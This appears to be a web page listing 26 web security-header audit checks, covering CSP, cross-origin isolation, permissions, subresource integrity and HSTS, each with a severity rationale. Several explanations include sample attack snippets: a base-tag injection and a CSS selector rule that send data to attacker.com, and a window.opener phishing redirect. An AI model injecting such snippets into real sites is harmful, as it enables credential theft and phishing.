All 26 checks with why-it-matters prose, severity, and cross-references to related audits.
Domain-based CSP allowlists are bypassed by JSONP endpoints and CDN-hosted gadget scripts — any page served from an allowed domain becomes a script injection vector. Attackers exploit this to execute arbitrary JavaScript in your users' browsers, exfiltrating session tokens, credentials, or payment data. CWE-79 (XSS) and CWE-693 (Protection Mechanism Failure) both apply directly. OWASP A03 (Injection) explicitly calls out CSP bypass via allowlisted domains as an unmitigated XSS vector. Nonce or hash-based allowlisting closes this bypass completely because each nonce is request-unique and cannot be predicted or replicated from another origin.
Why this severity: Critical because a bypassed CSP provides zero XSS protection — an attacker with a JSONP gadget on any allowlisted CDN achieves full script execution as if no policy existed.
security-headers-ii.csp-quality.nonce-or-hash-cspSee full patternWithout `'strict-dynamic'`, every module your bundler or runtime loads dynamically must be individually allowlisted in CSP. In practice this means developers add `'unsafe-inline'` or broad domain wildcards as a shortcut, silently destroying XSS protection. `'strict-dynamic'` delegates trust from an allowlisted script (identified by nonce or hash) to every script it loads — removing the need for individual allowlisting of dynamic imports. CWE-79 and CWE-693 both apply: the absence forces teams toward CSP configurations that the OWASP A03 guidance explicitly flags as ineffective for modern SPAs and module-heavy codebases.
Why this severity: High because omitting `'strict-dynamic'` forces a choice between a broken CSP that blocks legitimate dynamic imports and a weakened one that uses unsafe fallbacks, both of which undermine XSS protection.
security-headers-ii.csp-quality.strict-dynamicSee full pattern`'unsafe-eval'` re-enables `eval()`, `Function()`, `setTimeout(string)`, and `setInterval(string)` — the four JavaScript execution surfaces that an XSS payload needs to turn a reflected string into running code. With `'unsafe-eval'` in CSP, an attacker who achieves any string injection can escalate directly to code execution, bypassing what would otherwise be a meaningful mitigation layer. CWE-79 and CWE-693 both apply. OWASP A03 (Injection) lists eval-style execution as a key XSS escalation path. The practical business impact is session hijacking, credential theft, or complete account takeover from a single injection point.
Why this severity: Critical because `'unsafe-eval'` turns any string injection into arbitrary code execution, nullifying CSP's primary purpose of containing XSS impact.
security-headers-ii.csp-quality.no-unsafe-evalSee full patternA permissive or missing `default-src` directive means every resource type without an explicit CSP directive — fonts, media, frames, workers, manifests — defaults to unrestricted loading. An attacker who achieves any injection can load arbitrary resources from any origin using these unguarded resource types, side-stepping the protections you applied to `script-src`. CWE-79 and CWE-693 both apply here. OWASP A03 identifies missing fallback directives as a common CSP misconfiguration that leaves partial protection in place while creating exploitable gaps in less-obvious resource categories.
Why this severity: High because a permissive `default-src` creates exploitable gaps in every resource type that lacks an explicit directive, undermining the intent of the entire CSP policy.
security-headers-ii.csp-quality.restrictive-default-srcSee full patternFlash, Java applets, and Silverlight plugins are extinct on the modern web but remain active attack vectors in browser contexts that don't block `<object>` and `<embed>` elements. Without `object-src 'none'`, an injected `<object>` tag pointing to an attacker-controlled resource can execute plugin code with elevated privileges. CWE-693 (Protection Mechanism Failure) applies — the CSP is in place but fails to close a historically exploited resource category. OWASP A05 (Security Misconfiguration) flags unblocked plugin resources as a legacy misconfiguration that persists long after the actual plugin threat has been neutralized at the browser level.
Why this severity: Low because modern browsers no longer support most plugins by default, but an explicit `object-src 'none'` is a zero-cost hardening step that eliminates a historically exploited attack surface.
security-headers-ii.csp-quality.object-src-noneSee full patternA missing `base-uri` directive lets an attacker who can inject a `<base href='https://attacker.com'>` tag redirect every relative URL on the page — scripts, stylesheets, form actions, and navigation links — to an attacker-controlled origin. Unlike XSS, this attack requires no JavaScript execution: injecting a single `<base>` tag is sufficient to compromise the entire page's resource resolution. CWE-79 and CWE-1021 (Improper Restriction of Rendered UI Layers) both apply. OWASP A03 categorizes base-tag injection as a client-side injection technique distinct from classic XSS.
Why this severity: Medium because base-tag injection requires the ability to inject HTML content, which is a prerequisite condition, but when present it hijacks all relative URL resolution with a single tag.
security-headers-ii.csp-quality.base-uri-restrictedSee full patternCSS injection with `'unsafe-inline'` in `style-src` enables attribute-selector-based data exfiltration: `input[value^='a'] { background: url(https://attacker.com/a) }` leaks form values one character at a time without executing any JavaScript. This technique bypasses script-only XSS filters and works in environments with strict JS restrictions. CWE-79 applies to CSS-based data exfiltration, and CWE-693 covers the protection gap created by `'unsafe-inline'`. OWASP A03 lists CSS injection as a distinct injection category, not merely a subcategory of script injection.
Why this severity: Low because CSS injection cannot directly execute code but can exfiltrate sensitive form data character-by-character via selector-based side channels, making it a meaningful privacy risk for authentication forms.
security-headers-ii.csp-quality.style-src-noncesSee full patternWithout a CSP reporting endpoint, policy violations — whether from a blocking misconfiguration or an active injection attempt — are silently swallowed. You have no visibility into resources your CSP is blocking for legitimate users (causing silent breakage) or into attack probes testing your policy's edges. CWE-693 applies: a protection mechanism with no feedback loop cannot be maintained or improved. OWASP A05 (Security Misconfiguration) calls out absence of security monitoring as a configuration failure — deploying CSP without reporting is operationally equivalent to deploying a firewall with no logs.
Why this severity: Low in direct exploit impact, but a CSP without reporting cannot be operationally maintained — violations from both attacks and misconfigurations go undetected indefinitely.
security-headers-ii.csp-quality.csp-reportingSee full patternWithout `Cross-Origin-Opener-Policy`, a cross-origin page that your app opens (or that opens your app) can hold a reference to your `window` object. Spectre-class speculative-execution attacks use cross-origin window references and shared memory to read data across origin boundaries. CWE-1021 (Improper Restriction of Rendered UI Layers / Frame Hijacking) applies. OWASP A05 (Security Misconfiguration) flags missing isolation headers as a configuration gap. The absence of COOP also prevents the browser from enabling `SharedArrayBuffer` and high-resolution timers, which are required for performant web workers in security-sensitive contexts.
Why this severity: Medium because Spectre-class attacks require local code execution and specific browser conditions, but the window reference exposure is a prerequisite that is cheap to eliminate with a single header.
security-headers-ii.cross-origin-isolation.coop-setSee full patternWithout `Cross-Origin-Embedder-Policy`, the browser cannot verify that cross-origin resources embedded in your page have opted into being loaded, leaving side-channel data leaks open via timing attacks on resource loading behavior. COEP is also the gate for `SharedArrayBuffer` and `performance.measureUserAgentSpecificMemory()` — both blocked by default until cross-origin isolation is established. CWE-1021 applies to cross-origin resource embedding without explicit consent. OWASP A05 identifies missing cross-origin isolation headers as a hardening gap for apps processing sensitive data.
Why this severity: Medium because COEP is required for full cross-origin isolation and `SharedArrayBuffer` access, and its absence represents an incomplete security posture even when COOP is configured.
security-headers-ii.cross-origin-isolation.coep-configuredSee full patternWithout `Cross-Origin-Resource-Policy` on static assets, any origin can load your images, fonts, scripts, and other static files — including embedding them in pages that time their load to probe for authenticated-user-specific content. This Spectre-adjacent technique uses resource load timing differences to infer which assets a logged-in user has cached. CWE-1021 applies to unauthorized cross-origin resource embedding. OWASP A05 flags absent CORP headers as a misconfiguration gap in the cross-origin isolation stack — COEP without CORP on assets creates an isolation inconsistency.
Why this severity: Medium because CORP on assets is a prerequisite for `COEP: require-corp` to function correctly, and its absence leaves cross-origin resource embedding unrestricted regardless of other isolation headers.
security-headers-ii.cross-origin-isolation.corp-on-assetsSee full patternAn external link opened with `target='_blank'` without `rel='noopener'` gives the opened page access to `window.opener` — a reference back to your tab's window object. A malicious destination site (or one compromised via XSS) can call `window.opener.location = 'https://phishing-site.com'` to silently redirect your tab to a phishing page while the user is reading the opened content. CWE-1021 (Improper Restriction of Rendered UI Layers) applies directly. OWASP A05 lists missing `noopener` as a common misconfiguration. Modern browsers now default to `noopener`, but explicit attributes are required for backward compatibility and code-review clarity.
Why this severity: Low because modern browsers default `target='_blank'` to noopener behavior, but explicit `rel='noopener noreferrer'` is required for older browser compatibility and eliminates referrer leakage to external domains.
security-headers-ii.cross-origin-isolation.noopener-external-linksSee full patternAn iframe without a `sandbox` attribute inherits the full capabilities of the embedding page: it can run scripts, submit forms, navigate the top frame, and access storage. A compromised or malicious embedded resource (ads, widgets, user-generated embeds) can exploit unrestricted iframes to navigate your page to a phishing URL, submit forms on the user's behalf, or read cross-origin storage if the embed is same-site. CWE-1021 (Improper Restriction of Rendered UI Layers) applies directly. OWASP A05 identifies unsandboxed iframes as a configuration gap that gives embedded third-party content unwarranted trust.
Why this severity: Low because exploitation requires a compromised or malicious embed, but the `sandbox` attribute is a zero-cost capability restriction that eliminates the entire attack surface for misbehaving embeds.
security-headers-ii.cross-origin-isolation.iframe-sandboxSee full patternCamera, microphone, and geolocation are the three browser APIs with direct real-world privacy consequences: an app that inadvertently grants a third-party script access to the mic or camera exposes users to surveillance, and geolocation exposure is a physical safety risk. Without `Permissions-Policy` restrictions, embedded ads, analytics scripts, or compromised CDN resources can request these sensitive APIs. CWE-693 applies — the browser's permission prompt is a protection mechanism, but a missing `Permissions-Policy` allows any embedded script to trigger that prompt, bypassing user intent. OWASP A05 flags unnecessary API exposure as a security misconfiguration.
Why this severity: High because unrestricted access to camera, microphone, and geolocation APIs by embedded third-party content exposes users to surveillance and physical location tracking with no application-level gate.
security-headers-ii.permissions-depth.sensitive-apis-restrictedSee full patternBeyond camera, microphone, and geolocation, browser APIs like `payment`, `usb`, `display-capture`, `accelerometer`, `gyroscope`, and `magnetometer` give embedded scripts access to hardware interfaces, screen capture, and payment flows. A compromised analytics script with access to `display-capture` can screenshot users' screens; `usb` access enables attacks against physical devices; `payment` access can initiate payment dialogs. CWE-693 applies to each unblocked API. OWASP A05 identifies unnecessary API surface as a security misconfiguration — the principle of least privilege applies to browser API grants just as it does to database permissions.
Why this severity: Medium because these APIs are less commonly exploited than camera/mic/geo but represent real hardware and payment attack surfaces that are trivial to restrict with a single header value extension.
security-headers-ii.permissions-depth.unused-apis-restrictedSee full patternSafari does not recognize the `Permissions-Policy` header name — it only supports the older `Feature-Policy` header. Sites that configure `Permissions-Policy` without a matching `Feature-Policy` leave Safari users with no API restrictions at all: camera, microphone, geolocation, and payment APIs remain unrestricted for embedded content. CWE-693 applies when a protection mechanism is deployed in a way that bypasses it for a significant user segment. OWASP A05 flags browser-specific security header gaps as misconfiguration — partial cross-browser coverage is operationally equivalent to no coverage for affected users.
Why this severity: Low because Safari's market share is significant (especially on mobile), and omitting `Feature-Policy` leaves that entire segment without any API permissions restrictions despite `Permissions-Policy` being configured.
security-headers-ii.permissions-depth.feature-policy-compatSee full patternMixed content — HTTP resources on HTTPS pages — is blocked or flagged by modern browsers, but the underlying cause is often hardcoded `http://` URLs in templates, user-generated content, or legacy code. `upgrade-insecure-requests` acts as a browser-side safety net that auto-upgrades HTTP subresource requests to HTTPS, preventing mixed-content blocks from silently breaking functionality for users on HTTPS pages. CWE-311 (Missing Encryption of Sensitive Data) and OWASP A02 (Cryptographic Failures) both apply when application resources are loaded over unencrypted HTTP, exposing data to network-level interception even on nominally HTTPS pages.
Why this severity: Medium because mixed content exposes specific resource loads to network interception on HTTPS pages, and `upgrade-insecure-requests` is a low-cost directive that eliminates this entire class of vulnerability as a safety net.
security-headers-ii.permissions-depth.upgrade-insecure-requestsSee full patternSubresource Integrity hashes cryptographically verify that a resource loaded from a CDN has not been tampered with. SHA-256 is technically valid but weaker than the W3C-recommended minimum of SHA-384 — collision attacks on SHA-256 are within the theoretical reach of well-resourced adversaries, and the W3C explicitly recommends SHA-384 for SRI. CWE-345 (Insufficient Verification of Data Authenticity) and CWE-494 (Download of Code Without Integrity Check) both apply when hash strength is below recommended minimums. OWASP A08 (Software and Data Integrity Failures) flags weak or absent integrity verification as a supply chain risk.
Why this severity: Medium because SHA-256-only SRI hashes are technically valid but below the W3C recommended strength floor, creating a marginal but unnecessary gap in supply chain integrity verification.
security-headers-ii.supply-chain.sri-strong-hashSee full patternSRI with the `integrity` attribute but without `crossorigin='anonymous'` silently fails in some browsers for cross-origin resources — the integrity check is simply skipped, giving developers a false sense of security while providing zero actual verification. The resource loads without any tamper check. CWE-345 (Insufficient Verification of Data Authenticity) is the direct mapping — the verification mechanism is present but non-functional. CWE-494 applies because the code is downloaded without an effective integrity check. OWASP A08 (Software and Data Integrity Failures) identifies this as a common SRI implementation mistake that neutralizes the protection entirely.
Why this severity: High because a missing `crossorigin` attribute causes SRI verification to silently fail for cross-origin resources, converting a security control that appears active into one that provides zero protection.
security-headers-ii.supply-chain.sri-crossoriginSee full patternRender-blocking third-party scripts couple your page's availability to an external CDN's response time and reliability. If the CDN is slow, your page hangs for every user. If the CDN is compromised or returns a 503, your page may fail to render entirely. Independently, synchronous script loading creates a timing window during which a slow or compromised CDN script executes before your application code, with full access to the page. CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) applies. OWASP A08 flags synchronous third-party script loading as a supply chain risk that combines performance impact with security exposure.
Why this severity: Medium because render-blocking third-party scripts create both a reliability dependency on external CDN uptime and a security window where externally controlled code executes before application initialization.
security-headers-ii.supply-chain.third-party-asyncSee full patternDynamic DOM injection — `document.write()`, `innerHTML` assignments with external content, and dynamically created `<script>` elements with user-controlled sources — creates XSS vulnerabilities that CSP cannot fully mitigate. An attacker who controls any input to these patterns achieves script execution in the user's browser context: session token theft, credential harvesting, or full account takeover. CWE-79 (XSS) and CWE-83 (Script in HTML Attribute) both apply directly. OWASP A03 (Injection) lists DOM-based XSS as a primary injection vector. These patterns persist in codebases long after their introduction because they appear to work correctly during normal operation — failures only surface under adversarial input.
Why this severity: Critical because `innerHTML` with external content, `document.write()`, and dynamic script injection are direct XSS vectors that enable arbitrary script execution regardless of CSP configuration, since CSP cannot prevent patterns already executing in trusted script context.
security-headers-ii.supply-chain.no-dynamic-injectionSee full patternEvery external script loaded by your application is a potential supply chain attack vector. Without documentation of which scripts are loaded and why, a security review cannot determine whether a given external dependency is intentional or injected — and developers cannot confidently audit or remove scripts that are no longer needed. CWE-1357 (Reliance on Insufficiently Trustworthy Component) applies when third-party scripts are loaded without recorded justification. OWASP A08 (Software and Data Integrity Failures) calls out undocumented third-party dependencies as a supply chain risk. Documented inventories also accelerate incident response when a CDN is compromised.
Why this severity: Info severity because undocumented scripts don't create a direct vulnerability but eliminate the audit trail needed to detect unauthorized additions or remove stale dependencies during security reviews.
security-headers-ii.supply-chain.script-inventorySee full patternHSTS without `includeSubDomains` protects only the apex domain — `api.yourdomain.com`, `cdn.yourdomain.com`, and `auth.yourdomain.com` remain vulnerable to SSL stripping attacks even when the main domain enforces HTTPS. An attacker on the same network can intercept unencrypted traffic to any unprotected subdomain and inject content or credentials. CWE-311 and CWE-319 both apply — data transmitted to subdomains over HTTP is exposed in cleartext. OWASP A02 (Cryptographic Failures) identifies incomplete HSTS configuration as a transport security gap that leaves backend APIs and CDN endpoints unprotected.
Why this severity: High because omitting `includeSubDomains` leaves all subdomains — including API, auth, and CDN endpoints that handle credentials and session tokens — vulnerable to SSL stripping despite main-domain HSTS being configured.
security-headers-ii.transport-hardening.hsts-include-subdomainsSee full patternHSTS preload eliminates the first-visit vulnerability — the one TCP request a browser makes over HTTP before it receives the HSTS header and commits to HTTPS. Without preload, a user who has never visited your site before (or who cleared browser storage) is vulnerable to SSL stripping on that first connection. CWE-311 and CWE-319 apply — the initial plaintext request exposes cookies, tokens, and session data to network-level interception before HSTS takes effect. OWASP A02 (Cryptographic Failures) identifies first-visit HTTP exposure as a transport security gap that preloading permanently eliminates.
Why this severity: Medium because first-visit HTTP exposure requires network-position attack access, but HSTS preloading is the only control that eliminates this window entirely for users who have never visited before.
security-headers-ii.transport-hardening.hsts-preloadSee full patternMixed content — HTTP resources loaded on an HTTPS page — exposes those resources to network interception and modification. An attacker on the same network can intercept an HTTP image, script, or stylesheet load and replace it with malicious content, even though the page itself was delivered over HTTPS. Browsers block active mixed content (scripts, iframes) but may load passive mixed content (images, audio) with a warning. CWE-319 applies directly — data transmitted over cleartext HTTP is exposed. OWASP A02 (Cryptographic Failures) lists hardcoded `http://` resource URLs as a transport security failure that undermines the HTTPS guarantee users expect.
Why this severity: Critical because active mixed content (HTTP scripts, iframes) is an active code injection vector on HTTPS pages, allowing network attackers to replace loaded resources with arbitrary malicious content.
security-headers-ii.transport-hardening.no-mixed-contentSee full patternLogout routes that invalidate server-side sessions but don't send `Clear-Site-Data` leave credentials and sensitive data in the browser's cookie jar, cache, localStorage, and sessionStorage. On a shared device — a library computer, a family laptop, a corporate workstation — the next user can often access the previous user's session by navigating to the application or inspecting browser storage. CWE-613 (Insufficient Session Expiration) and CWE-384 (Session Fixation) both apply. OWASP A07 (Identification and Authentication Failures) explicitly calls out incomplete session termination as an authentication failure — server-side logout without client-side cleanup is not a complete logout.
Why this severity: High because incomplete client-side session cleanup on logout enables session persistence on shared devices, giving the next user access to the previous user's authenticated state without needing to bypass any authentication control.
security-headers-ii.transport-hardening.clear-site-data-logoutSee full patternRun this audit in your AI coding tool (Claude Code, Cursor, Bolt, etc.) and submit results here for scoring and benchmarks.
Open Security Headers II Audit